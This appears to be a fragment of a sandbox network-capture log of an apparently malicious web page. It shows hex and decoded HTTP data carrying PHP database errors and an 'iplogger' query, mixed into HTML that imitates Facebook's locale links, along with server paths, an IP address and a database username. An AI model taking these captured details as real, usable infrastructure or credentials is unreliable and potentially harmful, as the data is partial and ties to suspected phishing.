d\u00253C\/b\u00253E:\u002520\u002520mysql_pconnect():\u002520The\u002520mysql\u002520extension\u002520is\u002520deprecated\u002520and\u002520will\u002520be\u002520removed\u002520in\u002520the\u002520future:\u002520use\u002520mysqli\u002520or\u002520PDO\u
2022-10-08 09:35:18 UTC	598	IN	Data Raw: 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 31 30 34 35 5c 75 30 30 32 35 32 30 2d 5c 75 30 30 32 35 32 30 41 63 63 65 73 73 5c 75 30 30 32 35 32 30 64 65 6e 69 65 64 5c 75 30 30 32 35 32 30 66 6f 72 5c 75 30 30 32 35 32 30 75 73 65 72 5c 75 30 30 32 35 32 30 26 23 30 33 39 3b 64 62 6e 65 77 30 31 26 23 30 33 39 3b 5c 75 30 30 34 30 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 30 33 39 3b 5c 75 30 30 32 35 32 30 28 75 73 69 6e 67 5c 75 30 30 32 35 32 30 70 61 73 73 77 6f 72 64 3a 5c 75 30 30 32 35 32 30 59 45 53 29 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 73 65 6c 65 63 74 5c 75 30 30 32 35 32 30 69 70 6c 6f 67 67 65 Data Ascii: 253E\u00250A\u00253Cb\u00253E1045\u002520-\u002520Access\u002520denied\u002520for\u002520user\u002520'dbnew01'\u0040'localhost'\u002520(using\u002520password:\u002520YES)\u00253Cbr\u00253E\u00250A\u00253Cbr\u00253Eselect\u002520iplogge
2022-10-08 09:35:18 UTC	599	IN	Data Raw: 69 6e 67 25 33 43 2f 62 25 33 45 3a 25 32 30 25 32 30 6d 79 73 71 6c 5f 71 75 65 72 79 28 29 25 32 30 65 78 70 65 63 74 73 25 32 30 70 61 72 61 6d 65 74 65 72 25 32 30 32 25 32 30 74 6f 25 32 30 62 65 25 32 30 72 65 73 6f 75 72 63 65 2c 25 32 30 62 6f 6f 6c 65 61 6e 25 32 30 67 69 76 65 6e 25 32 30 69 6e 25 32 30 25 33 43 62 25 33 45 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 25 33 43 2f 62 25 33 45 25 32 30 6f 6e 25 32 30 6c 69 6e 65 25 32 30 25 33 43 62 25 33 45 37 33 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 66 6f 6e 74 25 32 30 63 6f 6c 6f 72 3d 25 32 32 25 32 33 30 30 30 Data Ascii: ing%3C/b%3E:%20%20mysql_query()%20expects%20parameter%202%20to%20be%20resource,%20boolean%20given%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E73%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cfont%20color=%22%23000
2022-10-08 09:35:18 UTC	601	IN	Data Raw: 72 5c 75 30 30 32 35 32 30 75 73 65 72 5c 75 30 30 32 35 32 30 26 23 30 33 39 3b 64 62 6e 65 77 30 31 26 23 30 33 39 3b 5c 75 30 30 34 30 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 30 33 39 3b 5c 75 30 30 32 35 32 30 28 75 73 69 6e 67 5c 75 30 30 32 35 32 30 70 61 73 73 77 6f 72 64 3a 5c 75 30 30 32 35 32 30 59 45 53 29 5c 75 30 30 32 35 32 30 69 6e 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 5c 2f 77 77 77 5c 2f 77 77 77 72 6f 6f 74 5c 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 5c 2f 73 65 65 6d 6f 72 65 62 74 79 5c 2f 69 6e 63 6c 75 64 65 73 5c 2f 64 61 74 61 62 61 73 65 2e 70 68 70 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 32 30 6f 6e 5c 75 30 30 32 35 32 30 6c 69 6e 65 5c 75 30 Data Ascii: r\u002520user\u002520'dbnew01'\u0040'localhost'\u002520(using\u002520password:\u002520YES)\u002520in\u002520\u00253Cb\u00253E\/www\/wwwroot\/103.136.42.153\/seemorebty\/includes\/database.php\u00253C\/b\u00253E\u002520on\u002520line\u0
2022-10-08 09:35:18 UTC	602	IN	Data Raw: 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 5c 2f 66 6f 6e 74 5c 75 30 30 32 35 33 45 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 77 77 77 5f 6c 69 73 74 5f 73 65 6c 65 63 74 6f 72 26 71 75 6f 74 3b 2c 20 31 29 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 20 74 69 74 6c 65 3d 22 46 72 65 6e 63 68 20 28 46 72 61 6e 63 65 29 22 3e 46 72 61 6e c3 a7 61 69 73 20 28 46 72 61 6e 63 65 29 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 63 6c 61 73 73 3d 22 5f 73 76 34 22 20 64 69 72 3d 22 6c 74 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 69 74 2d 69 74 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 25 33 45 44 65 70 72 65 63 61 74 65 64 25 33 43 2f 62 25 33 45 Data Ascii: 3C\/b\u00253E\u00250A\u00253C\/font\u00253E", "www_list_selector", 1); return false;" title="French (France)">Franais (France)</a></li><li><a class="_sv4" dir="ltr" href="https://it-it.facebook.com/%3Cbr%20/%3E%0A%3Cb%3EDeprecated%3C/b%3E
2022-10-08 09:35:18 UTC	604	IN	Data Raw: 30 41 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 2f 66 6f 6e 74 25 33 45 22 20 6f 6e 63 6c 69 63 6b 3d 22 72 65 71 75 69 72 65 28 26 71 75 6f 74 3b 49 6e 74 6c 55 74 69 6c 73 26 71 75 6f 74 3b 29 2e 73 65 74 43 6f 6f 6b 69 65 4c 6f 63 61 6c 65 28 26 71 75 6f 74 3b 69 74 5f 49 54 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 65 6e 5f 55 53 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 69 74 2d 69 74 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 5c 2f 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 44 65 70 72 65 63 61 74 65 64 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 3a 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 32 30 Data Ascii: 0A%3C/b%3E%0A%3C/font%3E" onclick="require("IntlUtils").setCookieLocale("it_IT", "en_US", "https:\/\/it-it.facebook.com\/\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cb\u00253EDeprecated\u00253C\/b\u00253E:\u002520\u002520
2022-10-08 09:35:18 UTC	605	IN	Data Raw: 62 74 79 5c 2f 69 6e 63 6c 75 64 65 73 5c 2f 64 61 74 61 62 61 73 65 2e 70 68 70 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 32 30 6f 6e 5c 75 30 30 32 35 32 30 6c 69 6e 65 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 37 33 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 66 6f 6e 74 5c 75 30 30 32 35 32 30 63 6f 6c 6f 72 3d 5c 75 30 30 32 35 32 32 5c 75 30 30 32 35 32 33 30 30 30 30 30 30 5c 75 30 30 32 35 32 32 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 31 30 34 35 5c 75 30 30 Data Ascii: bty\/includes\/database.php\u00253C\/b\u00253E\u002520on\u002520line\u002520\u00253Cb\u00253E73\u00253C\/b\u00253E\u00250A\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cfont\u002520color=\u002522\u002523000000\u002522\u00253E\u00250A\u00253Cb\u00253E1045\u00
2022-10-08 09:35:18 UTC	607	IN	Data Raw: 26 23 30 33 39 3b 26 23 30 36 34 3b 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 30 33 39 3b 25 32 30 28 75 73 69 6e 67 25 32 30 70 61 73 73 77 6f 72 64 3a 25 32 30 59 45 53 29 25 32 30 69 6e 25 32 30 25 33 43 62 25 33 45 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 25 33 43 2f 62 25 33 45 25 32 30 6f 6e 25 32 30 6c 69 6e 65 25 32 30 25 33 43 62 25 33 45 34 37 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 25 33 45 57 61 72 6e 69 6e 67 25 33 43 2f 62 25 33 45 3a 25 32 30 25 32 30 6d 79 73 71 6c 5f 71 75 65 72 79 28 29 25 32 30 65 Data Ascii: '@'localhost'%20(using%20password:%20YES)%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_query()%20e
2022-10-08 09:35:18 UTC	608	IN	Data Raw: 32 35 33 45 34 37 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 57 61 72 6e 69 6e 67 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 3a 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 5c 75 30 30 32 35 32 30 41 63 63 65 73 73 5c 75 30 30 32 35 32 30 64 65 6e 69 65 64 5c 75 30 30 32 35 32 30 66 6f 72 5c 75 30 30 32 35 32 30 75 73 65 72 5c 75 30 30 32 35 32 30 26 23 30 33 39 3b 64 62 6e 65 77 30 31 26 Data Ascii: 253E47\u00253C\/b\u00253E\u00250A\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cb\u00253EWarning\u00253C\/b\u00253E:\u002520\u002520mysql_pconnect():\u002520Access\u002520denied\u002520for\u002520user\u002520'dbnew01&
2022-10-08 09:35:18 UTC	610	IN	Data Raw: 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 66 6f 6e 74 5c 75 30 30 32 35 32 30 63 6f 6c 6f 72 3d 5c 75 30 30 32 35 32 32 5c 75 30 30 32 35 32 33 66 66 30 30 30 30 5c 75 30 30 32 35 32 32 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 35 42 54 45 50 5c 75 30 30 32 35 32 30 53 54 4f 50 5c 75 30 30 32 35 35 44 5c 75 30 30 32 35 33 43 5c 2f 66 6f 6e 74 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 5c 2f 73 6d 61 6c 6c 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 5c 2f 66 6f 6e 74 Data Ascii: 00250A\u00253Cfont\u002520color=\u002522\u002523ff0000\u002522\u00253E\u00255BTEP\u002520STOP\u00255D\u00253C\/font\u00253E\u00250A\u00253C\/small\u00253E\u00250A\u00253Cbr\u00253E\u00250A\u00253Cbr\u00253E\u00250A\u00253C\/b\u00253E\u00250A\u00253C\/font
2022-10-08 09:35:18 UTC	611	IN	Data Raw: 33 43 62 72 25 33 45 73 65 6c 65 63 74 25 32 30 69 70 6c 6f 67 67 65 72 25 32 30 66 72 6f 6d 25 32 30 74 5f 63 68 61 6e 6e 65 6c 73 25 32 30 77 68 65 72 65 25 32 30 6e 61 6d 65 3d 26 23 30 33 39 3b 57 59 57 44 49 47 7e 31 26 23 30 33 39 3b 25 32 30 6c 69 6d 69 74 25 32 30 30 2c 31 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 66 6f 6e 74 25 32 30 63 6f 6c 6f 72 3d 25 32 32 25 32 33 66 66 30 30 30 30 25 32 32 25 33 45 25 35 42 54 45 50 25 32 30 53 54 4f 50 25 35 44 25 33 43 2f 66 6f 6e 74 25 33 45 25 30 41 25 33 43 2f 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 2f 66 6f 6e 74 25 33 45 22 20 Data Ascii: 3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='WYWDIG~1'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3E"
2022-10-08 09:35:18 UTC	612	IN	Data Raw: 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 3a 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 5f 71 75 65 72 79 28 29 5c 75 30 30 32 35 32 30 65 78 70 65 63 74 73 5c 75 30 30 32 35 32 30 70 61 72 61 6d 65 74 65 72 5c 75 30 30 32 35 32 30 32 5c 75 30 30 32 35 32 30 74 6f 5c 75 30 30 32 35 32 30 62 65 5c 75 30 30 32 35 32 30 72 65 73 6f 75 72 63 65 2c 5c 75 30 30 32 35 32 30 62 6f 6f 6c 65 61 6e 5c 75 30 30 32 35 32 30 67 69 76 65 6e 5c 75 30 30 32 35 32 30 69 6e 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 5c 2f 77 77 77 5c 2f 77 77 77 72 6f 6f 74 5c 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 5c 2f 73 65 65 6d 6f 72 65 62 74 79 5c 2f 69 6e 63 6c 75 64 65 73 5c 2f 64 61 74 61 62 61 73 65 2e 70 68 Data Ascii: \u00253C\/b\u00253E:\u002520\u002520mysql_query()\u002520expects\u002520parameter\u0025202\u002520to\u002520be\u002520resource,\u002520boolean\u002520given\u002520in\u002520\u00253Cb\u00253E\/www\/wwwroot\/103.136.42.153\/seemorebty\/includes\/database.ph
2022-10-08 09:35:18 UTC	614	IN	Data Raw: 45 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 25 33 43 2f 62 25 33 45 25 32 30 6f 6e 25 32 30 6c 69 6e 65 25 32 30 25 33 43 62 25 33 45 34 37 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 25 33 45 57 61 72 6e 69 6e 67 25 33 43 2f 62 25 33 45 3a 25 32 30 25 32 30 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 25 32 30 41 63 63 65 73 73 25 32 30 64 65 6e 69 65 64 25 32 30 66 6f 72 25 32 30 75 73 65 72 25 32 30 26 23 30 33 39 3b 64 62 6e 65 77 30 31 26 23 30 33 39 3b 26 23 30 36 34 3b 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 Data Ascii: E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_pconnect():%20Access%20denied%20for%20user%20'dbnew01'@'localhost&
2022-10-08 09:35:18 UTC	615	IN	Data Raw: 72 65 3a 5c 75 30 30 32 35 32 30 75 73 65 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 69 5c 75 30 30 32 35 32 30 6f 72 5c 75 30 30 32 35 32 30 50 44 4f 5c 75 30 30 32 35 32 30 69 6e 73 74 65 61 64 5c 75 30 30 32 35 32 30 69 6e 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 5c 2f 77 77 77 5c 2f 77 77 77 72 6f 6f 74 5c 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 5c 2f 73 65 65 6d 6f 72 65 62 74 79 5c 2f 69 6e 63 6c 75 64 65 73 5c 2f 64 61 74 61 62 61 73 65 2e 70 68 70 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 32 30 6f 6e 5c 75 30 30 32 35 32 30 6c 69 6e 65 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 34 37 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 Data Ascii: re:\u002520use\u002520mysqli\u002520or\u002520PDO\u002520instead\u002520in\u002520\u00253Cb\u00253E\/www\/wwwroot\/103.136.42.153\/seemorebty\/includes\/database.php\u00253C\/b\u00253E\u002520on\u002520line\u002520\u00253Cb\u00253E47\u00253C\/b\u00253E\u0
2022-10-08 09:35:18 UTC	617	IN	Data Raw: 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 73 65 6c 65 63 74 5c 75 30 30 32 35 32 30 69 70 6c 6f 67 67 65 72 5c 75 30 30 32 35 32 30 66 72 6f 6d 5c 75 30 30 32 35 32 30 74 5f 63 68 61 6e 6e 65 6c 73 5c 75 30 30 32 35 32 30 77 68 65 72 65 5c 75 30 30 32 35 32 30 6e 61 6d 65 3d 26 23 30 33 39 3b 57 59 57 44 49 47 7e 31 26 23 30 33 39 3b 5c 75 30 30 32 35 32 30 6c 69 6d 69 74 5c 75 30 30 32 35 32 30 30 2c 31 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 73 6d 61 6c 6c 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 66 6f 6e 74 5c 75 30 30 32 35 32 30 63 6f Data Ascii: 253E\u00250A\u00253Cbr\u00253Eselect\u002520iplogger\u002520from\u002520t_channels\u002520where\u002520name='WYWDIG~1'\u002520limit\u0025200,1\u00253Cbr\u00253E\u00250A\u00253Cbr\u00253E\u00250A\u00253Csmall\u00253E\u00250A\u00253Cfont\u002520co
2022-10-08 09:35:18 UTC	618	IN	Data Raw: 37 33 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 66 6f 6e 74 25 32 30 63 6f 6c 6f 72 3d 25 32 32 25 32 33 30 30 30 30 30 30 25 32 32 25 33 45 25 30 41 25 33 43 62 25 33 45 31 30 34 35 25 32 30 2d 25 32 30 41 63 63 65 73 73 25 32 30 64 65 6e 69 65 64 25 32 30 66 6f 72 25 32 30 75 73 65 72 25 32 30 26 23 30 33 39 3b 64 62 6e 65 77 30 31 26 23 30 33 39 3b 26 23 30 36 34 3b 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 30 33 39 3b 25 32 30 28 75 73 69 6e 67 25 32 30 70 61 73 73 77 6f 72 64 3a 25 32 30 59 45 53 29 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 73 65 6c 65 63 74 25 32 30 69 70 6c 6f 67 67 65 72 25 32 30 66 72 6f 6d 25 32 30 74 5f 63 68 61 6e 6e 65 6c 73 25 32 30 77 68 65 72 65 25 32 30 Data Ascii: 73%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cfont%20color=%22%23000000%22%3E%0A%3Cb%3E1045%20-%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20
2022-10-08 09:35:18 UTC	620	IN	Data Raw: 61 62 61 73 65 2e 70 68 70 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 32 30 6f 6e 5c 75 30 30 32 35 32 30 6c 69 6e 65 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 34 37 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 57 61 72 6e 69 6e 67 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 3a 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 5f 71 75 65 72 79 28 29 5c 75 30 30 32 35 Data Ascii: abase.php\u00253C\/b\u00253E\u002520on\u002520line\u002520\u00253Cb\u00253E47\u00253C\/b\u00253E\u00250A\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cb\u00253EWarning\u00253C\/b\u00253E:\u002520\u002520mysql_query()\u0025
2022-10-08 09:35:18 UTC	621	IN	Data Raw: 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 25 33 45 44 65 70 72 65 63 61 74 65 64 25 33 43 2f 62 25 33 45 3a 25 32 30 25 32 30 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 25 32 30 54 68 65 25 32 30 6d 79 73 71 6c 25 32 30 65 78 74 65 6e 73 69 6f 6e 25 32 30 69 73 25 32 30 64 65 70 72 65 63 61 74 65 64 25 32 30 61 6e 64 25 32 30 77 69 6c 6c 25 32 30 62 65 25 32 30 72 65 6d 6f 76 65 64 25 32 30 69 6e 25 32 30 74 68 65 25 32 30 66 75 74 75 72 65 3a 25 32 30 75 73 65 25 32 30 6d 79 73 71 6c 69 25 32 30 6f 72 25 32 30 50 44 4f 25 32 30 69 6e 73 74 65 61 64 25 32 30 69 6e 25 32 30 25 33 43 62 25 33 45 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 Data Ascii: %20/%3E%0A%3Cb%3EDeprecated%3C/b%3E:%20%20mysql_pconnect():%20The%20mysql%20extension%20is%20deprecated%20and%20will%20be%20removed%20in%20the%20future:%20use%20mysqli%20or%20PDO%20instead%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/data
2022-10-08 09:35:18 UTC	623	IN	Data Raw: 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 3a 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 5c 75 30 30 32 35 32 30 54 68 65 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 5c 75 30 30 32 35 32 30 65 78 74 65 6e 73 69 6f 6e 5c 75 30 30 32 35 32 30 69 73 5c 75 30 30 32 35 32 30 64 65 70 72 65 63 61 74 65 64 5c 75 30 30 32 35 32 30 61 6e 64 5c 75 30 30 32 35 32 30 77 69 6c 6c 5c 75 30 30 32 35 32 30 62 65 5c 75 30 30 32 35 32 30 72 65 6d 6f 76 65 64 5c 75 30 30 32 35 32 30 69 6e 5c 75 30 30 32 35 32 30 74 68 65 5c 75 30 30 32 35 32 30 66 75 74 75 72 65 3a 5c 75 30 30 32 35 32 30 75 73 65 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 69 5c 75 30 30 32 35 32 30 6f 72 5c 75 30 30 32 35 32 30 50 44 4f 5c 75 30 30 Data Ascii: u00253C\/b\u00253E:\u002520\u002520mysql_pconnect():\u002520The\u002520mysql\u002520extension\u002520is\u002520deprecated\u002520and\u002520will\u002520be\u002520removed\u002520in\u002520the\u002520future:\u002520use\u002520mysqli\u002520or\u002520PDO\u00
2022-10-08 09:35:18 UTC	624	IN	Data Raw: 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 31 30 34 35 5c 75 30 30 32 35 32 30 2d 5c 75 30 30 32 35 32 30 41 63 63 65 73 73 5c 75 30 30 32 35 32 30 64 65 6e 69 65 64 5c 75 30 30 32 35 32 30 66 6f 72 5c 75 30 30 32 35 32 30 75 73 65 72 5c 75 30 30 32 35 32 30 26 23 30 33 39 3b 64 62 6e 65 77 30 31 26 23 30 33 39 3b 5c 75 30 30 34 30 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 30 33 39 3b 5c 75 30 30 32 35 32 30 28 75 73 69 6e 67 5c 75 30 30 32 35 32 30 70 61 73 73 77 6f 72 64 3a 5c 75 30 30 32 35 32 30 59 45 53 29 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 73 65 6c 65 63 74 5c 75 30 30 32 35 32 30 69 70 6c 6f 67 67 65 72 5c Data Ascii: 3E\u00250A\u00253Cb\u00253E1045\u002520-\u002520Access\u002520denied\u002520for\u002520user\u002520'dbnew01'\u0040'localhost'\u002520(using\u002520password:\u002520YES)\u00253Cbr\u00253E\u00250A\u00253Cbr\u00253Eselect\u002520iplogger\
2022-10-08 09:35:18 UTC	626	IN	Data Raw: 45 57 61 72 6e 69 6e 67 25 33 43 2f 62 25 33 45 3a 25 32 30 25 32 30 6d 79 73 71 6c 5f 71 75 65 72 79 28 29 25 32 30 65 78 70 65 63 74 73 25 32 30 70 61 72 61 6d 65 74 65 72 25 32 30 32 25 32 30 74 6f 25 32 30 62 65 25 32 30 72 65 73 6f 75 72 63 65 2c 25 32 30 62 6f 6f 6c 65 61 6e 25 32 30 67 69 76 65 6e 25 32 30 69 6e 25 32 30 25 33 43 62 25 33 45 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 25 33 43 2f 62 25 33 45 25 32 30 6f 6e 25 32 30 6c 69 6e 65 25 32 30 25 33 43 62 25 33 45 37 33 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 66 6f 6e 74 25 32 30 63 6f 6c 6f 72 3d 25 32 32 25 Data Ascii: EWarning%3C/b%3E:%20%20mysql_query()%20expects%20parameter%202%20to%20be%20resource,%20boolean%20given%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E73%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cfont%20color=%22%
